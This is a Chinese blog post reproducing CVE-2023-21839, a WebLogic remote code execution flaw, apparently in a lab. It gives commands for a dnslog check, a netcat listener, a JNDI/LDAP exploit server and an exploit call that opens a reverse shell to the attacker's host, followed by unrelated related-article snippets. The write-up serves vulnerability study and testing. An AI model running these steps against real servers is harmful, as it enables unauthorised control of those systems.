CVE-2023-21839 weblogic rce漏洞复现
文章目录
- 一、漏洞影响版本
- 二、漏洞验证
- 三、启动反弹shell监听
- 切换路径到jdk1.8
- 四、启动ldap服务
- 五、使用CVE-2023-21839工具来进行攻击测试
- 六、反弹shell
一、漏洞影响版本
CVE-2023-21839是Weblogic产品中的远程代码执行漏洞，由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功可能会导致Oracle Weblogic服务器被控制，远程注入操作系统命令或代码。
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
二、漏洞验证
http://192.168.232.131:7001/console/login/LoginForm.jsp
java -jar Weblogic-CVE-2023-21839.jar 192.168.232.131:7001 ldap://m08q4j.dnslog.cn/test
执行以上命令可以在dnslog上获得回显，即可验证可能存在该漏洞
三、启动反弹shell监听
nc -lvp 2000
切换路径到jdk1.8
复现之前请务必切换路径到jdk路径下
四、启动ldap服务
C:\Program Files\Java\jdk1.8.0_181\bin>java -jar G:\资料\vulhub复现\weblogic\可行工具\JNDIExploit.v1.2\JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.180.2
五、使用CVE-2023-21839工具来进行攻击测试
C:\Program Files\Java\jdk1.8.0_181\bin>java -jar G:\资料\vulhub复现\weblogic\可行工具\Weblogic-CVE-2023-21839.jar 192.168.232.131:7001 ldap://192.168.180.2:1389/Basic/ReverseShell/192.168.180.2/2000
六、反弹shell
相关文章：
CVE-2023-21839 weblogic rce漏洞复现
文章目录 一、漏洞影响版本二、漏洞验证三、启动反弹shell监听切换路径到jdk1.8 四、启动ldap服务五、使用CVE-2023-21839工具来进行攻击测试六、反弹shell 一、漏洞影响版本 CVE-2023-21839是Weblogic产品中的远程代码执行漏洞，由于Weblogic IIOP/T3协议存在缺陷&…...
MQTT java代码演示
以下是使用Eclipse Paho客户端库的Java代码示例，用于连接到MQTT代理并发布和订阅消息。 首先，需要添加Maven依赖项到项目中： <dependency> <groupId>org.eclipse.paho</groupId> <artifactId>org.eclipse.paho.client.mqttv3</artifactId>…...
Windows环境下使用VLC获取到大疆无人机的RTMP直播推流
1.环境准备 1.安装nginx 1.7.11.3 Gryphon 下载地址：http://nginx-win.ecsds.eu/download/ 下载nginx 1.7.11.3 Gryphon.zip，解压后修改文件夹名称为nginx-1.7.11.3-Gryphon； 2.安装nginx-rtmp-module 下载地址：GitHub - arut…...
【SpringBoot笔记42】SpringBoot集成knife4j生成接口文档
这篇文章，主要介绍SpringBoot如何集成knife4j及生成接口文档。 目录 一、knife4j接口文档生成器 1.1、接口文档工具介绍 1.2、引入依赖...
Go类型嵌入介绍和使用类型嵌入模拟实现“继承”
Go类型嵌入介绍和使用类型嵌入模拟实现“继承” 文章目录 Go类型嵌入介绍和使用类型嵌入模拟实现“继承”一、独立的自定义类型二、继承三、类型嵌入3.1 什么是类型嵌入 四、接口类型的类型嵌入4.1 接口类型的类型嵌入介绍4.2 一个小案例 五、结构体类型的类型嵌入5.1 结构体类…...
【深度学习】pytorch——实现CIFAR-10数据集的分类
笔记为自我总结整理的学习笔记，若有错误欢迎指出哟~ 往期文章： 【深度学习】pytorch——快速入门 CIFAR-10分类 CIFAR-10简介CIFAR-10数据集分类实现步骤一、数据加载及预处理实现数据加载及预处理归一化的理解访问数据集Dataset对象Dataloader对象 二、…...
Datawhale-AIGC实践
Datawhale-AIGC实践 部署ChatGLM3-6B平台 clone 项目，配置环境 git clone https://github.com/THUDM/ChatGLM3.git cd ChatGLM3 pip install -r requirement.txt修改web_demo.py, web_demo2.py 设置加载模型的路径修改启动代码: demo.queue().launch(shareFalse…...
C++对象模型
思考：对于实现平面一个点的参数化。C的class封装看起来比C的struct更加的复杂，是否意味着产生更多的开销呢？ 实际上并没有，类的封装不会产生额外的开销，其实，C中在布局以及存取上的额外开销是virtual引起的…...
Linux Framebuffer驱动框架、接口实现和使用
Linux 驱动-Frame Buffer代码分析 Framebufferfbmem.c部分代码分析初始化 Framebuffer 对于驱动开发人员来说，其实只需要针对具体的硬件平台SOC和具体的LCD（通过焊接连接到该SOC引脚上的LCD）来进行第一部分的寄存器编程（红色部分&…...
AI：54-基于深度学习的树木种类识别
🚀 本文选自专栏：AI领域专栏 从基础到实践，深入了解算法、案例和最新趋势。无论你是初学者还是经验丰富的数据科学家，通过案例和项目实践，掌握核心概念和实用技能。每篇案例都包含代码实例，详细讲解供大家学习。 📌📌📌在这个漫长的过程，中途遇到了不少问题，但是…...
MVCC详解
什么是MVCC？ MVCC，即Multi-Version Concurrency Control （多版本并发控制）。它是一种并发控制的方法，一般在数据库管理系统中，实现对数据库的并发访问，在编程语言中实现事务内存。 通俗的讲&am…...
[pytorch]手动构建一个神经网络并且训练
0.写在前面 上一篇博客全都是说明类型的,实际代码能不能跑起来两说,谨慎观看.本文中直接使用fashions数据实现softmax的简单训练并且完成结果输出.实现一个预测并且观测到输出结果. 并且更重要的是,在这里对一些训练的过程,数据的形式,以及我们在softmax中主要做什么以及怎么…...
马斯克的X.AI平台即将发布的大模型Grōk AI有哪些能力？新消息泄露该模型支持2.5万个字符上下文！
本文原文来自DataLearnerAI官方网站： 马斯克的X.AI平台即将发布的大模型Grōk AI有哪些能力？新消息泄露该模型支持2.5万个字符上下文！ | 数据学习者官方网站(Datalearner)https://www.datalearner.com/blog/1051699114783001 马斯克透露xAI…...
spring-session-core排除某些接口不设置session
这里写自定义目录标题 需求实现 需求 今天先写一下如何实现，之后再更新一篇如何发现这个问题的。 我们的项目使用了spring-session-core来存储共享session，存在redis中，然后在cookie中是设置了key为SESSION的session。但是我们有一些开放接口…...
【ElasticSearch系列-05】SpringBoot整合elasticSearch
ElasticSearch系列整体栏目 内容链接地址【一】ElasticSearch下载和安装https://zhenghuisheng.blog.csdn.net/article/details/129260827【二】ElasticSearch概念和基本操作https://blog.csdn.net/zhenghuishengq/article/details/134121631【三】ElasticSearch的高级查询Quer…...
C/S架构学习之广播
广播：一台主机可以将一个数据包同时发送给同一局域网内所有主机；在IPV4中，广播地址是本网段最大的IP地址或者“255.255.255.255”；注意：广播本质上是UDP通信技术；只有用户数据报套接字才能使用广播的方式&a…...
帧间快速算法论文阅读
Low complexity inter coding scheme for Versatile Video Coding (VVC) 通过分析相邻CU的编码区域，预测当前CU的编码区域，以终止不必要的分割模式。 𝐶𝑈1、𝐶𝑈2、𝐶𝑈3、&#x…...
mooc单元测验第一单元
TCP和OSI参考模型对比 OSI参考模型与TCP/IP参考模型（计算机网络）_osi模型 tcpip模型_李桥桉的博客-CSDN博客 会话层和物理层...
AOC显示器出问题了？别担心，简单重置一下就OK了
你的AOC显示器有问题吗？它是被卡在特定的屏幕上还是根本不显示任何图像？如果你的显示器出现任何问题，只需简单重置即可解决问题。 重置AOC显示器可以帮助解决一系列问题，例如颜色或显示设置问题、输入源检测问题以及其他与软件相…...
ok-解决qt5发布版本，直接运行exe缺少各种库的问题
已实验第二种方法可用。 工具：电脑必备、QT下的windeployqt Qt 官方开发环境使用的动态链接库方式，在发布生成的exe程序时，需要复制一大堆 dll，如果自己去复制dll，很可能丢三落四，导致exe在别的电脑里无法…...
除了ulimit -c unlimited：深入理解Linux core dump机制与高级配置指南
深入Linux核心转储：从基础配置到生产环境实战指南当服务器上的关键应用突然崩溃时，系统管理员最需要的就是一份完整的"事故现场记录"。Linux的core dump机制正是为此而生，它能保存程序崩溃时的内存状态、寄存器值和调用堆栈&#x…...
保姆级教程：在ROS2 Humble/Foxy的Gazebo中配置RGB-D相机（附解决点云颜色/坐标问题）
ROS2 Humble/Foxy中Gazebo深度相机仿真全攻略：从配置到点云问题解决在机器人仿真开发中，深度相机（RGB-D）是不可或缺的传感器之一。它能够同时提供彩色图像和深度信息，为SLAM、物体识别、避障等任务提供关键数据支持。本…...
从分立逻辑到单片机：基于ATmega8的MIDI通道分析仪设计与实现
1. 项目概述：从分立逻辑到单片机的MIDI通道分析仪进化史二十年前，当我在《Elektor》杂志上发表第一版MIDI通道分析仪时，整个数字音乐世界还处于一个相当“硬核”的阶段。那个版本的设计，用今天的话来说，简直就是一场“…...
可解释AI新突破：基于局部帕累托最优的模型解释框架
1. 项目概述：当AI模型成为“黑箱”，我们如何撬开它？在机器学习项目里摸爬滚打十几年，我见过太多这样的场景：团队花大力气训练出一个准确率高达95%的复杂模型（比如深度神经网络），业务…...
开源ELM327 OBD-II适配器：从硬件设计到多协议固件实现全解析
1. 项目概述：开源ELM327 OBD适配器如果你对汽车诊断、数据监控或者嵌入式开发感兴趣，那么自己动手做一个OBD-II适配器绝对是个能让你学到很多东西的硬核项目。今天要聊的，就是一个完全开源的、基于NXP LPC1517微控制器的ELM327兼容OBD适配器。…...
如何深度定制索尼相机：Sony-PMCA-RE逆向工程工具完整指南
如何深度定制索尼相机：Sony-PMCA-RE逆向工程工具完整指南 【免费下载链接】Sony-PMCA-RE Reverse Engineering Sony Digital Cameras 项目地址: https://gitcode.com/gh_mirrors/so/Sony-PMCA-RE 索尼相机逆向工程工具Sony-PMCA-RE是一款专业的开源工具&…...
CTF出题人视角：从NewStarCTF 2023的WEB题，聊聊PHP特性与Flask Debug的那些‘坑’
CTF出题艺术：从PHP特性到Flask Debug的攻防博弈 当一道精心设计的CTF题目被成功破解时，出题人与解题者之间往往存在一场无声的思维交锋。作为NewStarCTF 2023 WEB方向的出题人，我想通过复盘"Begin of PHP"和"ErrorFlask"…...
基于窗口比较器与晶体管逻辑的可编程非线性电压指示器设计
1. 项目概述：打造一个可编程的“移动光点”电压指示器在电子制作和仪器仪表领域，我们经常需要一个直观的电压指示器。经典的LM3914点/条图显示驱动芯片大家都很熟悉，它能把一个模拟电压信号转换成10个LED的点亮状态，形成移动的光点…...
如何永久保存微信聊天记录？WeChatMsg终极数据导出指南
如何永久保存微信聊天记录？WeChatMsg终极数据导出指南 【免费下载链接】WeChatMsg 提取微信聊天记录，将其导出成HTML、Word、CSV文档永久保存，对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/WeCha…...
模拟调音台数字化改造：基于STM32与MOTU音频接口的智能控制方案
1. 项目概述：为老旧模拟调音台注入数字灵魂在不少社区广播电台、校园电台或是小型制作室里，你依然能看到那些服役了十几年甚至几十年的模拟调音台。它们皮实耐用，推子手感扎实，旋钮的阻尼感让人安心，但面对如今以数字文…...